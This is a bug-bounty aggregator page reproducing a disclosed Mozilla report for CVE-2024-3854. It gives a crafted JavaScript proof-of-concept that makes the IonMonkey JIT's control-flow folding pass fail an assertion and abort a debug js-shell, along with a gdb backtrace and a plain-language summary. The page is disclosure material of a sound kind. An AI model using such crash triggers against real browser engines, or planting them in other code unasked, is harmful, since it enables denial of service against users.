Skip to content
DoS Disclosed report Advanced CVE-2024-3854

Assertion failure: ins->isGoto(), at jit/IonAnalysis.cpp:715

A crafted JavaScript program triggers an assertion failure in the IonMonkey JIT compiler's control-flow folding pass, causing the js-shell to abort. The report does not claim any attacker impact beyond the crash.

lukas.bernhard Follow

Originally disclosed on Mozilla

  • Fixed in 12 days
  • Paid in 17 days
  • Disclosed after 12 days
Text
Steps to reproduce:

On git commit e23c37371147c5ff5ac7d825ccaa90e096cd036e the attached sample asserts in the js-shell when invoked as `obj-x86_64-pc-linux-gnu/dist/bin/js --fuzzing-safe crash.js`.

'''
for (let i22 = 0, i23 = 10;
    (() => {
        for (let i26 = 0, i27 = 10;
            (() => {
                let v28 = i26 != i27;
                const v29 = v28 === i23;
                if (v29) {
                    v28 = v29;
                } else {
                    switch (this) {
                    }
                }
                return v28;
            })();
            ) {
        }
        return i22 < i23;
    })();
    ) {
}
'''

'''
#0  0x0000555558fd8d7b in UpdateTestSuccessors (alloc=..., block=0x7ffff569f3f8, value=0x7ffff569eb20, ifTrue=0x7ffff56a0130, 
    ifFalse=0x7ffff56a0b78, existingPred=0x7ffff569fc98) at js/src/jit/IonAnalysis.cpp:715
#1  0x0000555558fd7864 in MaybeFoldDiamondConditionBlock (graph=..., initialBlock=0x7ffff569e2e8)
    at js/src/jit/IonAnalysis.cpp:862
#2  0x0000555558fa8533 in MaybeFoldConditionBlock (graph=..., initialBlock=0x7ffff569e2e8)
    at js/src/jit/IonAnalysis.cpp:1095
#3  0x0000555558fa8475 in js::jit::FoldTests (graph=...) at js/src/jit/IonAnalysis.cpp:1294
#4  0x0000555558ee1af1 in js::jit::OptimizeMIR (mir=0x7ffff569b180) at js/src/jit/Ion.cpp:1037
#5  0x0000555558ee384a in js::jit::CompileBackEnd (mir=0x7ffff569b180, snapshot=0x7ffff569b6a0)
    at js/src/jit/Ion.cpp:1605
#6  0x0000555558fc9287 in js::jit::IonCompileTask::runTask (this=0x7ffff569b718)
    at js/src/jit/IonCompileTask.cpp:52
#7  0x0000555558fc91b6 in js::jit::IonCompileTask::runHelperThreadTask (this=0x7ffff569b718, locked=...)
    at js/src/jit/IonCompileTask.cpp:30
#8  0x0000555557d769d0 in js::GlobalHelperThreadState::runTaskLocked (this=0x7ffff7618400, task=0x7ffff569b718, locked=...)
    at js/src/vm/HelperThreads.cpp:1728
#9  0x0000555557d767ab in js::GlobalHelperThreadState::runOneTask (this=0x7ffff7618400, lock=...)
    at js/src/vm/HelperThreads.cpp:1697
#10 0x0000555557db61c8 in js::HelperThread::threadLoop (this=0x7ffff7627420, pool=0x7ffff7623100)
    at js/src/vm/InternalThreadPool.cpp:282
#11 0x0000555557db6022 in js::HelperThread::ThreadMain (pool=0x7ffff7623100, helper=0x7ffff7627420)
    at js/src/vm/InternalThreadPool.cpp:225
#12 0x0000555557dde732 in js::detail::ThreadTrampoline<void (&)(js::InternalThreadPool*, js::HelperThread*), js::InternalThreadPool*&, js::HelperThread*>::callMain<0ul, 1ul> (this=0x7ffff760f5f0) at js/src/threading/Thread.h:228
#13 0x0000555557dde57b in js::detail::ThreadTrampoline<void (&)(js::InternalThreadPool*, js::HelperThread*), js::InternalThreadPool*&, js::HelperThread*>::Start (aPack=0x7ffff760f5f0) at js/src/threading/Thread.h:217
#14 0x00007ffff7897b5a in start_thread (arg=<optimized out>) at ./nptl/pthread_create.c:444
#15 0x00007ffff79285fc in clone3 () at ../sysdeps/unix/sysv/linux/x86_64/clone3.S:78
'''

The original report as published on Mozilla's Bugzilla, by lukas.bernhard. Images and videos are our own copies; raw HTML is shown as text. View it on Mozilla's Bugzilla.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

The engine aborts, which is a denial of service in a debug build; the report does not show memory corruption or code execution.

What the attacker needed

Debug build of js-shell; run with --fuzzing-safe; attacker-supplied JavaScript

How it was found

  1. Build the js-shell at the given commit.
  2. Run the shell with the fuzzing-safe flag on the attached sample.
  3. Observe the assertion failure in UpdateTestSuccessors.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

The JavaScript engine has a just-in-time (JIT) compiler that optimises code while it runs. A specially written loop makes the optimiser's internal graph inconsistent, so a safety check (an assertion) fails and the program stops. This is a crash in a debug build, not a proven security hole.

What is DoS?

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.

More by lukas.bernhard

View all

16 more disclosed reports, best first.

More from Mozilla

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Denial of service

The lesson behind this report.

A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.